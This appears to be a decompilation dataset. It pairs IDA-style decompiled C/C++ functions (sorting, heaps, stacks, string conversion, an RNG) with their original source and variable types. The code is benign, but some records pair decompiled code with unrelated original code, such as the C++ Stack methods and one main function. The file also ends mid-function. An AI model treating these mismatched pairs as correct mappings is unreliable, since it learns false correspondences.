int __cdecl main(int argc, const char **argv, const char **envp)
{
put_head();
send_query();
output_result();
return 0;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
func8();
func12();
func10();
return 0;
}

original_code:
int main(int argc,char *argv[])
{
  put_head();
  send_query();
  output_result();
  return 0;
}

canonical_original_code:
int main(int argc, char *argv[])
{
  put_head();
  send_query();
  output_result();
  return 0;
}

variable_types:
argv
char *[]


Partition

repo: wizarddewhite/data-structures

original_code:
int Partition(int* A, int p, int r)
{
    int x, i, j;
    int tmp;
    x = A[r];
    i = p -1;
    for (j = p; j < r; j++)
    {
        if (A[j] <= x)
        {
            i++;
            tmp = A[j];
            A[j] = A[i];
            A[i] = tmp;
        }
    }
    A[r] = A[i+1];
    A[i+1] = x;
    return (i+1);
}

canonical_original_code:
int Partition(int *A, int p, int r)
{
    int x; int i; int j;
    int tmp;
    x = A[r];
    i = p -1;
    for (j = p; j < r; j++)
    {
        if (A[j] <= x)
        {
            i++;
            tmp = A[j];
            A[j] = A[i];
            A[i] = tmp;
        }
    }
    A[r] = A[i+1];
    A[i+1] = x;
    return (i+1);
}

variable_types:
A
int *

variable_types: p int

variable_types: r int

variable_types: x int

variable_types: j int

variable_types: tmp int


original_code:
int Random_Partition(int* A, int p, int r)
{
    int x, i, j;
    int tmp, mid;
    mid = (p+r)/2;
    tmp = A[r]; A[r] = A[mid]; A[mid] = tmp;
    x = A[r];
    i = p -1;
    for (j = p; j < r; j++)
    {
        if (A[j] <= x)
        {
            i++;
            tmp = A[j];
            A[j] = A[i];
            A[i] = tmp;
        }
    }
    A[r] = A[i+1];
    A[i+1] = x;
    printf("partition is %d\n", i+1);
    return (i+1);
}

canonical_original_code:
int Random_Partition(int *A, int p, int r)
{
    int x; int i; int j;
    int tmp; int mid;
    mid = (p+r)/2;
    tmp = A[r]; A[r] = A[mid]; A[mid] = tmp;
    x = A[r];
    i = p -1;
    for (j = p; j < r; j++)
    {
        if (A[j] <= x)
        {
            i++;
            tmp = A[j];
            A[j] = A[i];
            A[i] = tmp;
        }
    }
    A[r] = A[i+1];
    A[i+1] = x;
    printf("partition is %d\n", i+1);
    return (i+1);
}

variable_types: mid int


QuickSort

decompiled_code:
void __fastcall QuickSort(__int64 a1, int a2, int a3)
{
int v4; // ebp

if ( a2 < a3 )
{
v4 = Random_Partition(a1, a2, a3);
QuickSort(a1, (unsigned int)a2, (unsigned int)(v4 - 1));
QuickSort(a1, (unsigned int)(v4 + 1), (unsigned int)a3);
}
}

canonical_decompiled_code:
void __fastcall func9(__int64 a1, int a2, int a3)
{
int v4; // ebp

if ( a2 < a3 )
{
v4 = func8(a1, a2, a3);
func9(a1, (unsigned int)a2, (unsigned int)(v4 - 1));
func9(a1, (unsigned int)(v4 + 1), (unsigned int)a3);
}
}

original_code:
void QuickSort(int* A, int p, int r)
{
    int q;
    if (p < r)
    {
        q = Random_Partition(A, p, r);
        QuickSort(A, p, q-1);
        QuickSort(A, q+1, r);
    }
}

canonical_original_code:
void QuickSort(int *A, int p, int r)
{
    int q;
    if (p < r)
    {
        q = Random_Partition(A, p, r);
        QuickSort(A, p, q-1);
        QuickSort(A, q+1, r);
    }
}

variable_types: q int


QuickSelect

decompiled_code:
void __fastcall QuickSelect(__int64 a1, int a2, int a3, unsigned int a4)
{
int v6; // eax

if ( a2 < a3 )
{
v6 = Random_Partition(a1, a2, a3);
if ( v6 != a4 )
{
if ( v6 >= (int)a4 )
QuickSelect(a1, (unsigned int)a2, (unsigned int)(v6 - 1), a4);
else
QuickSelect(a1, (unsigned int)(v6 + 1), (unsigned int)a3, a4);
}
}
}

canonical_decompiled_code:
void __fastcall func10(__int64 a1, int a2, int a3, unsigned int a4)
{
int v6; // eax

if ( a2 < a3 )
{
v6 = func8(a1, a2, a3);
if ( v6 != a4 )
{
if ( v6 >= (int)a4 )
func10(a1, (unsigned int)a2, (unsigned int)(v6 - 1), a4);
else
func10(a1, (unsigned int)(v6 + 1), (unsigned int)a3, a4);
}
}
}

original_code:
void QuickSelect(int* A, int p, int r, int k)
{
    int q;
    if (p < r)
    {
        q = Random_Partition(A, p, r);
        if (q == k)
            return;
        if (q < k)
            QuickSelect(A, q+1, r, k);
        else
            QuickSelect(A, p, q-1, k);
    }
}

canonical_original_code:
void QuickSelect(int *A, int p, int r, int k)
{
    int q;
    if (p < r)
    {
        q = Random_Partition(A, p, r);
        if (q == k)
            return;
        if (q < k)
            QuickSelect(A, q+1, r, k);
        else
            QuickSelect(A, p, q-1, k);
    }
}

variable_types: k int


main

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rbx

QuickSelect((__int64)&A, 0, 9, 3u);
v3 = (char *)&A;
do
{
printf("%d,", *(unsigned int *)v3);
v3 += 4;
}
while ( v3 != &_bss_start );
putchar(10);
return 0;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rbx

func10((__int64)&A, 0, 9, 3u);
v3 = (char *)&A;
do
{
printf("%d,", *(unsigned int *)v3);
v3 += 4;
}
while ( v3 != &_bss_start );
putchar(10);
return 0;
}

original_code:
int main()
{
    int i;
    QuickSelect(A, 0, 9, 3);
    for (i=0; i<10; i++)
    {
        printf("%d,", A[i]);
    }
    printf("\n");
    return 0;
}


parent

decompiled_code:
__int64 __fastcall parent(int a1)
{
return (unsigned int)((a1 - 1) / 2);
}

canonical_decompiled_code:
__int64 __fastcall func7(int a1)
{
return (unsigned int)((a1 - 1) / 2);
}

original_code:
int parent(int i)
{
 return (i -1)/2;
}

canonical_original_code:
int parent(int i)
{
 return (i -1)/2;
}


decompiled_code:
__int64 __fastcall left_child(int a1)
{
return (unsigned int)(2 * a1 + 1);
}

canonical_decompiled_code:
__int64 __fastcall func8(int a1)
{
return (unsigned int)(2 * a1 + 1);
}

original_code:
int left_child(int i)
{
 return (i<<1) + 1;
}


decompiled_code:
__int64 __fastcall right_child(int a1)
{
return (unsigned int)(2 * a1 + 2);
}

canonical_decompiled_code:
__int64 __fastcall func9(int a1)
{
return (unsigned int)(2 * a1 + 2);
}

original_code:
int right_child(int i)
{
 return (i<<1) + 2;
}


decompiled_code:
void __fastcall dump_heap(__int64 a1, unsigned int a2, int a3, int a4, const char *a5)
{
unsigned int v8; // ebp
unsigned int v9; // eax
unsigned int v10; // eax

if ( a3 < (int)a2 )
{
if ( !a4 )
puts(a5);
printf("%*c%d\n", 2 * a4, 32LL, *(unsigned int *)(a1 + 4LL * a3));
v8 = a4 + 1;
v9 = left_child(a3);
dump_heap(a1, a2, v9, v8, a5);
v10 = right_child(a3);
dump_heap(a1, a2, v10, v8, a5);
}
}

canonical_decompiled_code:
void __fastcall func10(__int64 a1, unsigned int a2, int a3, int a4, const char *a5)
{
unsigned int v8; // ebp
unsigned int v9; // eax
unsigned int v10; // eax

if ( a3 < (int)a2 )
{
if ( !a4 )
puts(a5);
printf("%*c%d\n", 2 * a4, 32LL, *(unsigned int *)(a1 + 4LL * a3));
v8 = a4 + 1;
v9 = func8(a3);
func10(a1, a2, v9, v8, a5);
v10 = func9(a3);
func10(a1, a2, v10, v8, a5);
}
}

original_code:
void dump_heap(int* A, int size, int idx, int level, char *msg)
{
 if (idx >= size)
  return;
 if (level == 0)
  printf("%s\n", msg);
 printf("%*c%d\n", level*2, ' ', A[idx]);
 dump_heap(A, size, left_child(idx), level+1, msg);
 dump_heap(A, size, right_child(idx), level+1, msg);
}

canonical_original_code:
void dump_heap(int *A, int size, int idx, int level, char *msg)
{
 if (idx >= size)
  return;
 if (level == 0)
  printf("%s\n", msg);
 printf("%*c%d\n", level*2, ' ', A[idx]);
 dump_heap(A, size, left_child(idx), level+1, msg);
 dump_heap(A, size, right_child(idx), level+1, msg);
}

variable_types: size int

variable_types: idx int

variable_types: level int


MaxHeapify

decompiled_code:
__int64 __fastcall MaxHeapify(__int64 a1, signed int a2, int a3)
{
int v5; // er13
__int64 result; // rax
int v7; // edx
int *v8; // rcx
int v9; // esi
int *v10; // rax

v5 = left_child(a3);
result = right_child(a3);
v7 = result;
if ( v5 < a2 )
{
result = v5;
if ( *(_DWORD *)(a1 + 4LL * v5) > *(_DWORD *)(a1 + 4LL * a3) )
{
if ( v7 >= a2 )
{
v7 = v5;
}
else
{
result = *(unsigned int *)(a1 + 4LL * v5);
if ( *(_DWORD *)(a1 + 4LL * v7) <= (int)result )
v7 = v5;
}
goto LABEL_10;
}
}
if ( v7 < a2 )
{
result = v7;
if ( *(_DWORD *)(a1 + 4LL * v7) > *(_DWORD *)(a1 + 4LL * a3) )
{
LABEL_10:
if ( v7 != a3 )
{
v8 = (int *)(a1 + 4LL * v7);
v9 = *v8;
v10 = (int *)(a1 + 4LL * a3);
*v8 = *v10;
*v10 = v9;
result = MaxHeapify(a1, (unsigned int)a2);
}
return result;
}
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func11(__int64 a1, signed int a2, int a3)
{
int v5; // er13
__int64 result; // rax
int v7; // edx
int *v8; // rcx
int v9; // esi
int *v10; // rax

v5 = func8(a3);
result = func9(a3);
v7 = result;
if ( v5 < a2 )
{
result = v5;
if ( *(_DWORD *)(a1 + 4LL * v5) > *(_DWORD *)(a1 + 4LL * a3) )
{
if ( v7 >= a2 )
{
v7 = v5;
}
else
{
result = *(unsigned int *)(a1 + 4LL * v5);
if ( *(_DWORD *)(a1 + 4LL * v7) <= (int)result )
v7 = v5;
}
goto LABEL_10;
}
}
if ( v7 < a2 )
{
result = v7;
if ( *(_DWORD *)(a1 + 4LL * v7) > *(_DWORD *)(a1 + 4LL * a3) )
{
LABEL_10:
if ( v7 != a3 )
{
v8 = (int *)(a1 + 4LL * v7);
v9 = *v8;
v10 = (int *)(a1 + 4LL * a3);
*v8 = *v10;
*v10 = v9;
result = func11(a1, (unsigned int)a2);
}
return result;
}
}
return result;
}

original_code:
void MaxHeapify(int* A, int size, int i)
{
 int left, right;
 int largest;
 int tmp;
 left = left_child(i);
 right = right_child(i);
 if ( (left < size) && (A[left] > A[i]) )
  largest = left;
 else
  largest = i;
 if ( (right < size) && (A[right] > A[largest]) )
  largest = right;
 if (largest != i)
 {
  tmp = A[largest];
  A[largest] = A[i];
  A[i] = tmp;
  MaxHeapify(A, size, largest);
 }
}

canonical_original_code:
void MaxHeapify(int *A, int size, int i)
{
 int left; int right;
 int largest;
 int tmp;
 left = left_child(i);
 right = right_child(i);
 if ( (left < size) && (A[left] > A[i]) )
  largest = left;
 else
  largest = i;
 if ( (right < size) && (A[right] > A[largest]) )
  largest = right;
 if (largest != i)
 {
  tmp = A[largest];
  A[largest] = A[i];
  A[i] = tmp;
  MaxHeapify(A, size, largest);
 }
}

variable_types: left int

variable_types: right int

variable_types: largest int


original_code:
void MaxHeapify_iter(int* A, int size, int i)
{
 int left, right;
 int largest;
 int tmp;
 for(; i < size; i = largest) {
  largest = i;
  left = left_child(i);
  right = right_child(i);
  if ((left < size) && (A[left] > A[i]))
   largest = left;
  if ((right < size) && (A[right] > A[largest]))
   largest = right;
  if (largest == i)
   break;
  tmp = A[largest];
  A[largest] = A[i];
  A[i] = tmp;
 }
}

canonical_original_code:
void MaxHeapify_iter(int *A, int size, int i)
{
 int left; int right;
 int largest;
 int tmp;
 for(; i < size; i = largest) {
  largest = i;
  left = left_child(i);
  right = right_child(i);
  if ((left < size) && (A[left] > A[i]))
   largest = left;
  if ((right < size) && (A[right] > A[largest]))
   largest = right;
  if (largest == i)
   break;
  tmp = A[largest];
  A[largest] = A[i];
  A[i] = tmp;
 }
}

variable_types: i int


BuildMaxHeap

decompiled_code:
void __fastcall BuildMaxHeap(__int64 a1, int a2)
{
int v2; // ebx

v2 = (a2 >> 1) - 1;
if ( v2 >= 0 )
{
do
MaxHeapify_iter(a1, a2, v2--);
while ( v2 != -1 );
}
}

original_code:
void BuildMaxHeap(int* A, int size)
{
 int start = (size >> 1) - 1;
 for(; start>=0; start--)
 {
  MaxHeapify_iter(A, size, start);
 }
}

canonical_original_code:
void BuildMaxHeap(int *A, int size)
{
 int start = (size >> 1) - 1;
 for(; start>=0; start--)
 {
  MaxHeapify_iter(A, size, start);
 }
}

variable_types: start int


HeapSort

decompiled_code:
void __fastcall HeapSort(int *a1, int a2)
{
__int64 v2; // rbx
int v3; // eax

BuildMaxHeap((__int64)a1, a2);
dump_heap((__int64)a1, a2, 0, 0, "=== Dump the Heap ===");
if ( a2 > 1 )
{
v2 = a2;
do
{
v3 = *a1;
*a1 = a1[v2 - 1];
a1[v2 - 1] = v3;
dump_heap((__int64)a1, v2, 0, 0, "=== Exchange the biggest ===");
MaxHeapify_iter((__int64)a1, v2 - 1, 0);
dump_heap((__int64)a1, --v2, 0, 0, "=== After Heapify ===");
}
while ( (int)v2 > 1 );
}
}

original_code:
void HeapSort(int* A, int len)
{
 int i, tmp;
 BuildMaxHeap(A, len);
 dump_heap(A, len, 0, 0, "=== Dump the Heap ===");
 for(i=len; i>=2; i--)
 {
  tmp = A[0]; A[0] = A[len-1]; A[len-1] = tmp;
  dump_heap(A, len, 0, 0, "=== Exchange the biggest ===");
  len--;
  MaxHeapify_iter(A, len, 0);
  dump_heap(A, len, 0, 0, "=== After Heapify ===");
 }
}

canonical_original_code:
void HeapSort(int *A, int len)
{
 int i; int tmp;
 BuildMaxHeap(A, len);
 dump_heap(A, len, 0, 0, "=== Dump the Heap ===");
 for(i=len; i>=2; i--)
 {
  tmp = A[0]; A[0] = A[len-1]; A[len-1] = tmp;
  dump_heap(A, len, 0, 0, "=== Exchange the biggest ===");
  len--;
  MaxHeapify_iter(A, len, 0);
  dump_heap(A, len, 0, 0, "=== After Heapify ===");
 }
}

variable_types:
A
int *

variable_types: len int


main

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rbx

HeapSort(A, 10);
puts("=== This final sorted array ===");
v3 = (char *)A;
do
{
printf("%d ", *(unsigned int *)v3);
v3 += 4;
}
while ( v3 != &_bss_start );
putchar(10);
return 0;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rbx

func14(A, 10);
puts("=== This final sorted array ===");
v3 = (char *)A;
do
{
printf("%d ", *(unsigned int *)v3);
v3 += 4;
}
while ( v3 != &_bss_start );
putchar(10);
return 0;
}

original_code:
int main()
{
 int i;
 HeapSort(A, 10);
 printf("=== This final sorted array ===\n");
 for (i = 0; i< 10; i++)
  printf("%d ", A[i]);
 printf("\n");
 return 0;
}


original_code:
int string_to_int(char* A)
{
    int sum = 0;
    int index = 1;
    int len = strlen(A);
    int sign = 0;
    int i;
    if (A[0] == '-')
        sign = 1;
    for (i = len -1; i >= (sign)?1:0; i--)
    {
        sum += index * (A[i] - 48);
        index *= 10;
    }
    return (sign)?-sum:sum;
}

canonical_original_code:
int string_to_int(char *A)
{
    int sum = 0;
    int index = 1;
    int len = strlen(A);
    int sign = 0;
    int i;
    if (A[0] == '-')
        sign = 1;
    for (i = len -1; i >= (sign)?1:0; i--)
    {
        sum += index * (A[i] - 48);
        index *= 10;
    }
    return (sign)?-sum:sum;
}

variable_types:
A
char *

variable_types: sum int

variable_types: index int

variable_types: sign int


decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax

int_to_string(-50, A);
printf("digit %d is string %s\n", 4294967246LL, A);
v3 = string_to_int("-12345");
printf("string 12345 is digit %d\n", v3);
return 0;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax

int_to_string(-50, A);
printf("digit %d is string %s\n", 4294967246LL, A);
v3 = func7("-12345");
printf("string 12345 is digit %d\n", v3);
return 0;
}

original_code:
int main()
{
    int_to_string(-50, A);
    printf("digit %d is string %s\n", -50, A);
    printf("string 12345 is digit %d\n",string_to_int("-12345"));
    return 0;
}


original_code:
void string_revert(char *A, int len)
{
    int i, j;
    char tmp;
    for(i=0, j=len-1; i < j; i++, j--)
    {
        tmp = A[j];
        A[j] = A[i];
        A[i] = tmp;
    }
}

canonical_original_code:
void string_revert(char *A, int len)
{
    int i; int j;
    char tmp;
    for(i=0, j=len-1; i < j; i++, j--)
    {
        tmp = A[j];
        A[j] = A[i];
        A[i] = tmp;
    }
}

variable_types: j int

variable_types: tmp char


decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax

v3 = strlen(A);
string_revert((__int64)A, v3);
printf("A is %s\n", A);
return 0;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax

v3 = strlen(A);
func7((__int64)A, v3);
printf("A is %s\n", A);
return 0;
}

original_code:
int main()
{
    string_revert(A, strlen(A));
    printf("A is %s\n", A);
    return 0;
}


push

decompiled_code:
_BOOL8 __fastcall push(int a1)
{
int v1; // eax

v1 = top + 1;
top = v1;
stack[v1] = a1;
return v1 > 2;
}

canonical_decompiled_code:
_BOOL8 __fastcall func7(int a1)
{
int v1; // eax

v1 = top + 1;
top = v1;
stack[v1] = a1;
return v1 > 2;
}

original_code:
int push(int i)
{
    stack[++top] = i;
    if (top < (4 - 1))
        return 0;
    else
        return 1;
}


pop

decompiled_code:
__int64 __fastcall pop(_DWORD *a1)
{
int v1; // eax

v1 = top--;
*a1 = stack[v1];
return (unsigned int)top >> 31;
}

canonical_decompiled_code:
__int64 __fastcall func8(_DWORD *a1)
{
int v1; // eax

v1 = top--;
*a1 = stack[v1];
return (unsigned int)top >> 31;
}

original_code:
int pop(int *i)
{
    *i = stack[top--];
    if (top >= 0)
        return 0;
    else
        return 1;
}

variable_types:
i
int *


combination

decompiled_code:
__int64 __fastcall combination(int a1, int a2)
{
int v2; // edi
__int64 result; // rax
int v4[3]; // [rsp+Ch] [rbp-Ch] BYREF

v4[0] = a1;
push(a1);
do
{
while ( 1 )
{
v2 = v4[0];
if ( v4[0] == 1 )
break;
--v4[0];
if ( push(v2 - 1) )
{
printf(
"%d%d%d%d, ",
(unsigned int)stack[0],
(unsigned int)dword_404054,
(unsigned int)dword_404058,
(unsigned int)dword_40405C);
pop(v4);
}
}
result = pop(v4);
}
while ( !(_DWORD)result || stack[0] != a2 );
return result;
}

canonical_decompiled_code:
__int64 __fastcall func9(int a1, int a2)
{
int v2; // edi
__int64 result; // rax
int v4[3]; // [rsp+Ch] [rbp-Ch] BYREF

v4[0] = a1;
func7(a1);
do
{
while ( 1 )
{
v2 = v4[0];
if ( v4[0] == 1 )
break;
--v4[0];
if ( func7(v2 - 1) )
{
printf(
"%d%d%d%d, ",
(unsigned int)stack[0],
(unsigned int)dword_404054,
(unsigned int)dword_404058,
(unsigned int)dword_40405C);
func8(v4);
}
}
result = func8(v4);
}
while ( !(_DWORD)result || stack[0] != a2 );
return result;
}

original_code:
void combination(int m, int n)
{
    int temp = m;
    push(temp);
    while(1)
    {
        if ( 1 == temp)
        {
            if (pop(&temp) && stack[0] == n)
                break;
        }
        else if (push(--temp))
        {
            printf("%d%d%d%d, ", stack[0], stack[1], stack[2], stack[3]);
            pop(&temp);
        }
    }
}

variable_types: m int

variable_types: n int

variable_types: temp int


main

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
combination(5, 4);
putchar(10);
return 0;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
func9(5, 4);
putchar(10);
return 0;
}

original_code:
int main()
{
    combination(5, 4);
    printf("\n");
    return 0;
}


decompiled_code:
__int64 __fastcall random_num(int a1, int a2)
{
return (unsigned int)(rand() % a2 + a1);
}

canonical_decompiled_code:
__int64 __fastcall func7(int a1, int a2)
{
return (unsigned int)(rand() % a2 + a1);
}

original_code:
int random_num(int start, int range)
{
    return (start + rand()%range);
}

variable_types: range int


decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v4; // er12
int v5; // ebx
int v6; // ebp

v3 = time(0LL);
srand(v3);
v4 = 1000;
do
{
v5 = 1000;
v6 = 0;
do
{
v6 += random_num(1, 11);
--v5;
}
while ( v5 );
--v4;
}
while ( v4 );
printf("average is %f\n", (float)((float)v6 / 1000.0));
return 0;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v4; // er12
int v5; // ebx
int v6; // ebp

v3 = time(0LL);
srand(v3);
v4 = 1000;
do
{
v5 = 1000;
v6 = 0;
do
{
v6 += func7(1, 11);
--v5;
}
while ( v5 );
--v4;
}
while ( v4 );
printf("average is %f\n", (float)((float)v6 / 1000.0));
return 0;
}

original_code:
int main()
{
    int i, j, sum;
    float average, exp;
    srand(time(0));
    for (i = 0; i < 1000; i++)
    {
        sum = 0;
        for (j = 0; j < 1000; j++)
        {
            sum += random_num(1, 11);
        }
        average = ((float)sum)/1000.0;
        if (i != 0)
            exp = (exp + average)/2.0;
        else
            exp = average;
    }
    printf("average is %f\n", average);
    return 0;
}

canonical_original_code:
int main()
{
    int i; int j; int sum;
    float average; float exp;
    srand(time(0));
    for (i = 0; i < 1000; i++)
    {
        sum = 0;
        for (j = 0; j < 1000; j++)
        {
            sum += random_num(1, 11);
        }
        average = ((float)sum)/1000.0;
        if (i != 0)
            exp = (exp + average)/2.0;
        else
            exp = average;
    }
    printf("average is %f\n", average);
    return 0;
}

variable_types: average float

variable_types: exp float


pop

decompiled_code:
__int64 __fastcall Stack<TNode<int> *>::pop(__int64 a1)
{
__int64 result; // rax
int v2; // eax

if ( *(_DWORD *)(a1 + 0x2000) == -1 )
{
std::operator<<<std::char_traits<char>>();
std::ostream::operator<<();
result = 0LL;
}
else
{
v2 = *(_DWORD *)(a1 + 0x2000);
*(_DWORD *)(a1 + 0x2000) = v2 - 1;
result = *(_QWORD *)(a1 + 8LL * v2);
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall Stack<TNode<int> *>::func22(__int64 a1)
{
__int64 result; // rax
int v2; // eax

if ( *(_DWORD *)(a1 + 0x2000) == -1 )
{
std::operator<<<std::char_traits<char>>();
std::ostream::operator<<();
result = 0LL;
}
else
{
v2 = *(_DWORD *)(a1 + 0x2000);
*(_DWORD *)(a1 + 0x2000) = v2 - 1;
result = *(_QWORD *)(a1 + 8LL * v2);
}
return result;
}

canonical_original_code:
int pop(int *i)
{
    *i = stack[top--];
    if (top >= 0)
        return 0;
    else
        return 1;
}


push

decompiled_code:
__int64 __fastcall Stack<TNode<int> *>::push(__int64 a1, __int64 a2)
{
__int64 result; // rax

if ( *(int *)(a1 + 0x2000) <= 1022 )
{
*(_QWORD *)(a1 + 8LL * (int)++*(_DWORD *)(a1 + 0x2000)) = a2;
result = 0LL;
}
else
{
std::operator<<<std::char_traits<char>>();
std::ostream::operator<<();
result = 0xFFFFFFFFLL;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall Stack<TNode<int> *>::func23(__int64 a1, __int64 a2)
{
__int64 result; // rax

if ( *(int *)(a1 + 0x2000) <= 1022 )
{
*(_QWORD *)(a1 + 8LL * (int)++*(_DWORD *)(a1 + 0x2000)) = a2;
result = 0LL;
}
else
{
std::operator<<<std::char_traits<char>>();
std::ostream::operator<<();
result = 0xFFFFFFFFLL;
}
return result;
}

canonical_original_code:
int push(int i)
{
    stack[++top] = i;
    if (top < (4 - 1))
        return 0;
    else
        return 1;
}

variable_types: i int


main

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
BT_depth_first();
return 0;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
func10();
return 0;
}

canonical_original_code:
int main()
{
    combination(5, 4);
    printf("\n");
    return 0;
}


push

decompiled_code:
__int64 __fastcall Stack<char>::push(__int64 a1, char a2)
{
__int64 result; // rax

if ( *(int *)(a1 + 1024) <= 1022 )
{
*(_BYTE *)(a1 + (int)++*(_DWORD *)(a1 + 1024)) = a2;
result = 0LL;
}
else
{
std::operator<<<std::char_traits<char>>();
std::ostream::operator<<();
result = 0xFFFFFFFFLL;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall Stack<char>::func10(__int64 a1, char a2)
{
__int64 result; // rax

if ( *(int *)(a1 + 1024) <= 1022 )
{
*(_BYTE *)(a1 + (int)++*(_DWORD *)(a1 + 1024)) = a2;
result = 0LL;
}
else
{
std::operator<<<std::char_traits<char>>();
std::ostream::operator<<();
result = 0xFFFFFFFFLL;
}
return result;
}


pop

decompiled_code:
__int64 __fastcall Stack<char>::pop(__int64 a1)
{
__int64 result; // rax
int v2; // eax

if ( *(_DWORD *)(a1 + 1024) == -1 )
{
std::operator<<<std::char_traits<char>>();
std::ostream::operator<<();
result = 0LL;
}
else
{
v2 = *(_DWORD *)(a1 + 1024);
*(_DWORD *)(a1 + 1024) = v2 - 1;
result = *(unsigned __int8 *)(a1 + v2);
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall Stack<char>::func11(__int64 a1)
{
__int64 result; // rax
int v2; // eax

if ( *(_DWORD *)(a1 + 1024) == -1 )
{
std::operator<<<std::char_traits<char>>();
std::ostream::operator<<();
result = 0LL;
}
else
{
v2 = *(_DWORD *)(a1 + 1024);
*(_DWORD *)(a1 + 1024) = v2 - 1;
result = *(unsigned __int8 *)(a1 + v2);
}
return result;
}


main

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[1036]; // [rsp+10h] [rbp-420h] BYREF
int i; // [rsp+41Ch] [rbp-14h]

Stack<char>::Stack(v4, argv, envp);
Stack<char>::push(v4, 97LL);
Stack<char>::push(v4, 98LL);
Stack<char>::push(v4, 99LL);
Stack<char>::push(v4, 100LL);
for ( i = 0; i <= 4; ++i )
{
Stack<char>::pop(v4);
std::operator<<<std::char_traits<char>>();
std::ostream::operator<<();
}
Stack<char>::~Stack(v4);
return 0;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[1036]; // [rsp+10h] [rbp-420h] BYREF
int i; // [rsp+41Ch] [rbp-14h]

Stack<char>::func9(v4, argv, envp);
Stack<char>::func10(v4, 97LL);
Stack<char>::func10(v4, 98LL);
Stack<char>::func10(v4, 99LL);
Stack<char>::func10(v4, 100LL);
for ( i = 0; i <= 4; ++i )
{
Stack<char>::func11(v4);
std::operator<<<std::char_traits<char>>();
std::ostream::operator<<();
}
Stack<char>::~func9(v4);
return 0;
}


repo: wizykowski/miller-rabin

variable_types:
a
unsigned long

variable_types:
mask
char [128]

variable_types:
ret
unsigned long

return_type: unsigned long


decompiled_code:
__int64 __fastcall modular_inverse32(int a1)
{
int v1; // edx

v1 = mask_0[(unsigned __int8)a1 >> 1];
return (unsigned int)((v1 * a1 + 2) * v1 * ((v1 * a1 + 2) * v1 * a1 + 2));
}

canonical_decompiled_code:
__int64 __fastcall func8(int a1)
{
int v1; // edx

v1 = mask_0[(unsigned __int8)a1 >> 1];
return (unsigned int)((v1 * a1 + 2) * v1 * ((v1 * a1 + 2) * v1 * a1 + 2));
}

variable_types:
a
unsigned int

variable_types:
ret
unsigned int

return_type: unsigned int


decompiled_code:
__int64 myrand32()
{
unsigned int v0; // edx
__int64 result; // rax

v0 = _rand_x ^ (_rand_x << 11);
_rand_x = _rand_y;
_rand_y = _rand_z;
_rand_z = _rand_w;
result = (v0 >> 8) ^ v0 ^ _rand_w ^ ((unsigned int)_rand_w >> 19);
_rand_w ^= (v0 >> 8) ^ v0 ^ ((unsigned int)_rand_w >> 19);
return result;
}

canonical_decompiled_code:
__int64 func10()
{
unsigned int v0; // edx
__int64 result; // rax

v0 = _rand_x ^ (_rand_x << 11);
_rand_x = _rand_y;
_rand_y = _rand_z;
_rand_z = _rand_w;
result = (v0 >> 8) ^ v0 ^ _rand_w ^ ((unsigned int)_rand_w >> 19);
_rand_w ^= (v0 >> 8) ^ v0 ^ ((unsigned int)_rand_w >> 19);
return result;
}

original_code:
uint32_t myrand32()
{
 uint32_t t;
 t = __rand_x ^ (__rand_x << 11);
 __rand_x = __rand_y; __rand_y = __rand_z; __rand_z = __rand_w;
 return __rand_w = __rand_w ^ (__rand_w >> 19) ^ (t ^ (t >> 8));
}

canonical_original_code:
unsigned int myrand32()
{
 unsigned int t;
 t = __rand_x ^ (__rand_x << 11);
 __rand_x = __rand_y; __rand_y = __rand_z; __rand_z = __rand_w;
 return __rand_w = __rand_w ^ (__rand_w >> 19) ^ (t ^ (t >> 8));
}

variable_types:
t
unsigned int


decompiled_code:
__int64 myrand64()
{
__int64 v0; // rbx

v0 = (unsigned int)myrand32();
return (v0 << 32) + (unsigned int)myrand32();
}

canonical_decompiled_code:
__int64 func11()
{
__int64 v0; // rbx

v0 = (unsigned int)func10();
return (v0 << 32) + (unsigned int)func10();
}

original_code:
uint64_t myrand64()
{
 return (((uint64_t)myrand32()) << 32) + myrand32();
}

canonical_original_code:
unsigned long myrand64()
{
 return (((unsigned long)myrand32()) << 32) + myrand32();
}


decompiled_code:
__int64 test_modular_inverse64()
{
__int64 v0; // rbx
__int64 v1; // rax
int v2; // ebp

v0 = 3LL;
while ( 1 )
{
v1 = v0 * modular_inverse64(v0);
if ( v1 != -1 )
break;
v0 += 2LL;
if ( v0 == 5000001 )
{
v0 = -1LL;
while ( 1 )
{
v1 = v0 * modular_inverse64(v0);
if ( v1 != -1 )
goto LABEL_11;
v0 -= 2LL;
if ( v0 == -5000001 )
{
myseed();
v2 = 5000000;
while ( 1 )
{
v0 = myrand64() | 1;
v1 = v0 * modular_inverse64(v0);
if ( v1 != -1 )
break;
if ( !--v2 )
return 0LL;
}
goto LABEL_11;
}
}
}
}
LABEL_11:
printf("expected: -1, received: %lu, argument: %lu\n", v1, v0);
return 1LL;
}

original_code:
int test_modular_inverse64()
{
 uint64_t a;
 int i;
 for (a=3; a < 5000000; a+=2) {
  uint64_t received = modular_inverse64(a);
  int64_t received_minus_one = received * a;
